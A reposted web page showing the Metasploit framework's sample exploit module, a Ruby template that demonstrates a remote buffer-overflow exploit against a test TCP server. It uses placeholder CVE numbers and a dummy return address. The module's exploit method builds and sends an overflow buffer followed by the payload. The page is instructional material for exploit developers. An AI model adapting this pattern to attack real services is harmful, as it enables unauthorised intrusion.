首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Metasploit Example Exploit
来源:metasploit.com 作者:skape 发布时间:2017-07-17  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in an arbitrary TCP server.
#
###
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  #
  # This exploit affects TCP servers, so we use the TCP client mixin.
  # See ./documentation/samples/vulnapps/testsrv/testsrv.c for building the
  # vulnerable target program.
  #
  include Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      # The Name should be just like the line of a Git commit - software name,
      # vuln type, class. It needs to fit in 50 chars ideally. Preferably apply
      # some search optimization so people can actually find the module.
      # We encourage consistency between module name and file name.
      'Name'           => 'Sample Exploit',
      'Description'    => %q{
          This exploit module illustrates how a vulnerability could be exploited
        in an TCP server that has a parsing bug.
      },
      'License'        => MSF_LICENSE,
      'Author'         => ['skape'],
      'References'     =>
        [
          [ 'OSVDB', '12345' ],
          [ 'EDB', '12345' ],
          [ 'URL', 'http://www.example.com'],
          [ 'CVE', '1978-1234'],
        ],
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00",
        },
      'Targets'        =>
        [
          # Target 0: Windows All
          [
            'Windows XP/Vista/7/8',
            {
              'Platform' => 'win',
              'Ret'      => 0x41424344
            }
          ],
        ],
      'DisclosureDate' => "Apr 1 2013",
      # Note that this is by index, rather than name. It's generally easiest
      # just to put the default at the beginning of the list and skip this
      # entirely.
      'DefaultTarget'  => 0))
  end

  #
  # The sample exploit just indicates that the remote host is always
  # vulnerable.
  #
  def check
    Exploit::CheckCode::Vulnerable
  end

  #
  # The exploit method connects to the remote service and sends 1024 random bytes
  # followed by the fake return address and then the payload.
  #
  def exploit
    connect

    print_status("Sending #{payload.encoded.length} byte payload...")

    # Build the buffer for transmission
    buf  = rand_text_alpha(1024)
    buf << [ target.ret ].pack('V')
    buf << payload.encoded

    # Send it off
    sock.put(buf)
    sock.get_once

    handler
  end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·iSmartAlarm CubeOne Remote Com
·Windows Browser Example Exploi
·FTPGetter 5.89.0.85 - Buffer O
·Sophos Web Appliance 4.3.0.2 -
·Firefox 50.0.1 - ASM.JS JIT-Sp
·Barracuda Load Balancer Firmwa
·Counter Strike: Condition Zero
·Easy File Sharing Web Server 7
·Apache Struts 2.3.x Showcase -
·Hashicorp vagrant-vmware-fusio
·PyCharm 2-0 / 2017 Buffer Over
·Microsoft Internet Explorer 11
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved